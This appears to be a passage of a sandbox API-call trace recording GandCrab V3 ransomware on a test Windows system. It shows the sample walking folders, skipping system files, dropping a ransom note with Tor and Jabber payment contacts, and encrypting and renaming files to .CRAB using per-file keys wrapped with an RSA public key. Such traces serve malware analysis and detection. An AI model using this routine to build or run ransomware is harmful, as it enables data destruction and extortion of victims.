	[0111.854] FindNextFileW (in: hFindFile=0xda74b0, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0
	[0111.854] FindClose (in: hFindFile=0xda74b0 | out: hFindFile=0xda74b0) returned 1
	[0111.854] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0111.854] FindClose (in: hFindFile=0xda7070 | out: hFindFile=0xda7070) returned 1
	[0111.854] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0111.854] FindClose (in: hFindFile=0xda6f30 | out: hFindFile=0xda6f30) returned 1
	[0111.855] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.855] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.855] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.855] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\CRAB-DECRYPT.txt"
	[0111.855] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.855] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\CRAB-DECRYPT.txt") returned 72
	[0111.855] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\CRAB-DECRYPT.txt") returned 72
	[0111.855] lstrlenW (lpString=".txt") returned 4
	[0111.855] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.855] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.855] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.856] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\CRAB-DECRYPT.txt") returned 72
	[0111.856] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\CRAB-DECRYPT.txt") returned 72
	[0111.856] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.856] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.856] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.856] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.856] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.856] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.856] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.856] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.856] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.856] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.856] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0111.856] FindClose (in: hFindFile=0xda7370 | out: hFindFile=0xda7370) returned 1
	[0111.856] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0111.856] lstrcmpW (lpString1="nuatrx.exe", lpString2=".") returned 1
	[0111.856] lstrcmpW (lpString1="nuatrx.exe", lpString2="..") returned 1
	[0111.856] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="nuatrx.exe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\nuatrx.exe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\nuatrx.exe"
	[0111.856] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.857] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\nuatrx.exe") returned 58
	[0111.857] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\nuatrx.exe") returned 58
	[0111.857] lstrlenW (lpString=".exe") returned 4
	[0111.857] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.857] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".exe ") returned 5
	[0111.857] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.857] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.857] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0111.857] lstrcmpW (lpString1="Office", lpString2=".") returned 1
	[0111.858] lstrcmpW (lpString1="Office", lpString2="..") returned 1
	[0111.858] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Office" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office"
	[0111.858] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\"
	[0111.858] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.858] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.858] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.858] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.858] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.858] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.858] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.858] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.858] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.858] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.858] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.858] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.858] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.858] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\\\CRAB-DECRYPT.txt") returned 72
	[0111.858] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0111.860] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.860] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0111.860] CloseHandle (hObject=0x3f0) returned 1
	[0111.860] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.861] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\") returned 55
	[0111.861] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\*"
	[0111.861] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xda7370
	[0111.861] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.861] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.861] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.861] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.861] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.861] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.861] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.861] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\CRAB-DECRYPT.txt"
	[0111.861] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.861] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\CRAB-DECRYPT.txt") returned 71
	[0111.861] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\CRAB-DECRYPT.txt") returned 71
	[0111.861] lstrlenW (lpString=".txt") returned 4
	[0111.861] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.861] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.862] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.862] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\CRAB-DECRYPT.txt") returned 71
	[0111.862] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\CRAB-DECRYPT.txt") returned 71
	[0111.862] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.862] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.862] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.862] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.862] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.862] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.862] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.862] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.862] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.862] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.862] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.862] lstrcmpW (lpString1="MSO1033.acl", lpString2=".") returned 1
	[0111.862] lstrcmpW (lpString1="MSO1033.acl", lpString2="..") returned 1
	[0111.862] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="MSO1033.acl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl"
	[0111.862] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.862] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned 66
	[0111.862] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned 66
	[0111.862] lstrlenW (lpString=".acl") returned 4
	[0111.862] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.862] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".acl ") returned 5
	[0111.863] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.863] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned 66
	[0111.863] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned 66
	[0111.863] lstrcmpiW (lpString1="MSO1033.acl", lpString2="desktop.ini") returned 1
	[0111.863] lstrcmpiW (lpString1="MSO1033.acl", lpString2="autorun.inf") returned 1
	[0111.863] lstrcmpiW (lpString1="MSO1033.acl", lpString2="ntuser.dat") returned -1
	[0111.863] lstrcmpiW (lpString1="MSO1033.acl", lpString2="iconcache.db") returned 1
	[0111.863] lstrcmpiW (lpString1="MSO1033.acl", lpString2="bootsect.bak") returned 1
	[0111.863] lstrcmpiW (lpString1="MSO1033.acl", lpString2="boot.ini") returned 1
	[0111.863] lstrcmpiW (lpString1="MSO1033.acl", lpString2="ntuser.dat.log") returned -1
	[0111.863] lstrcmpiW (lpString1="MSO1033.acl", lpString2="thumbs.db") returned -1
	[0111.863] lstrcmpiW (lpString1="MSO1033.acl", lpString2="CRAB-DECRYPT.txt") returned 1
	[0111.863] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.863] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl.CRAB") returned 71
	[0111.863] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\mso1033.acl")) returned 0x20
	[0111.863] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl", dwFileAttributes=0x20) returned 1
	[0111.864] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\mso1033.acl"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\mso1033.acl.crab")) returned 1
	[0111.864] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0111.865] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl.CRAB"
	[0111.865] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl.CRAB.CRAB"
	[0111.865] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0111.865] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0111.866] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0111.866] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0111.866] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0111.866] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0111.866] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.866] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e6b0) returned 1
	[0111.867] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0111.867] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0111.867] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0111.867] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0111.868] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0111.868] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.868] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0111.868] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0111.868] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e5a0) returned 1
	[0111.869] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xda6f30) returned 1
	[0111.869] CryptGetKeyParam (in: hKey=0xda6f30, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0111.869] CryptEncrypt (in: hKey=0xda6f30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0111.869] GetLastError () returned 0x0
	[0111.869] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0111.869] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e9e0) returned 1
	[0111.870] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xda7070) returned 1
	[0111.870] CryptGetKeyParam (in: hKey=0xda7070, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0111.870] CryptEncrypt (in: hKey=0xda7070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0111.870] GetLastError () returned 0x0
	[0111.870] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0111.870] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\mso1033.acl.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0111.871] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0111.871] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0111.872] ReadFile (in: hFile=0x3f4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314b474*=0x9362, lpOverlapped=0x0) returned 1
	[0111.880] VirtualAlloc (lpAddress=0x0, dwSize=0x9370, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0111.881] VirtualAlloc (lpAddress=0x0, dwSize=0x9370, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0111.883] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.883] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffff6c9e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.883] WriteFile (in: hFile=0x3f4, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x9370, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314b464*=0x9370, lpOverlapped=0x0) returned 1
	[0111.883] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.884] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.888] WriteFile (in: hFile=0x3f4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0111.888] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0111.888] WriteFile (in: hFile=0x3f4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0111.888] CloseHandle (hObject=0x3f4) returned 1
	[0111.890] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.890] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.890] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.890] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.891] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.891] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.891] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.891] lstrcmpW (lpString1="Recent", lpString2=".") returned 1
	[0111.891] lstrcmpW (lpString1="Recent", lpString2="..") returned 1
	[0111.891] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent"
	[0111.891] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\"
	[0111.891] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.891] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
